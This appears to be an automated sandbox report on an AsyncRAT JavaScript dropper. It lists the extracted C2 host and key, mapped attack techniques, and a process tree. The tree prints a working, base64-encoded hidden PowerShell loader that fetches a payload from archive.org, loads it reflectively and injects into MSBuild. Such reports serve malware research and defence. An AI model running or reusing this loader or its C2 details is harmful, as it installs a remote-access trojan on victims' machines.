Analysis
- max time kernel
143s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20250619-en - resource tags
- submitted
09/08/2025, 09:48
General
- Target WMIEventLogs.js
- Size 1.1MB
- Sample250809-ls436azls8
- SHA256 270f45d4dadced58852636cd091aa5ba0ca1e54f412ac17d8e807b2e1db1de5c
Malware Config
Extracted
-
asyncrat
-
1.0.7
-
08 Agosto
-
corepulsesync.ydns.eu:1000
-
HdfdytUhenbkjjsdkfyuhsbdj
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\WMIEventLogs.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -noprofile -ep bypass -c "$spermophyta='JG51bGwgPSAoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKChJbnZva2UtV2ViUmVxdWVzdCAnaHR0cHM6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9tc2ktcHJvL01TSV9QUk8uanBnJyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50KSAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJyk7JHZhbG9yID0gJG1hdGNoZXNbMV07JGFzc2VtYmx5ID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdmFsb3IpKTskb2xpbmlhID0gJz09QWQ0Um5MaFoyTTBFek5sUmpNbWhUT2lGV01oWjJOMFFEWjRJbU56UW1ZeFFHWnpFMlh2WlhhMUZuY2g5U2J2Tm1MbjlHYmk5R2R6Vm1kdnhtTDROM2R2Um1icGRIZTBGMkx2b0RjMFJIYScuUmVwbGFjZSgnJX4nLCd0Jyk7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJycsJ01TQnVpbGQnLCcnLCcnLCcnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzJywnZmlicm9zYScsJ2pzJywnJywnJywnY2xpbWFjdGljJywnMicsJycpKTs=';$bobcats=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($spermophyta));Invoke-Expression $bobcats"1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xxkhcy5b.bzt.ps1
memory/468-15-0x0000000000400000-0x0000000000412000-memory.dmp
memory/2860-0-0x0000019FB5350000-0x0000019FB5360000-memory.dmp
memory/2860-1-0x0000019FB5310000-0x0000019FB5332000-memory.dmp
memory/2860-11-0x0000019FB5350000-0x0000019FB5360000-memory.dmp
memory/2860-12-0x0000019FB5350000-0x0000019FB5360000-memory.dmp
memory/2860-13-0x0000019FB6180000-0x0000019FB664C000-memory.dmp
memory/2860-14-0x0000019FB5350000-0x0000019FB5360000-memory.dmp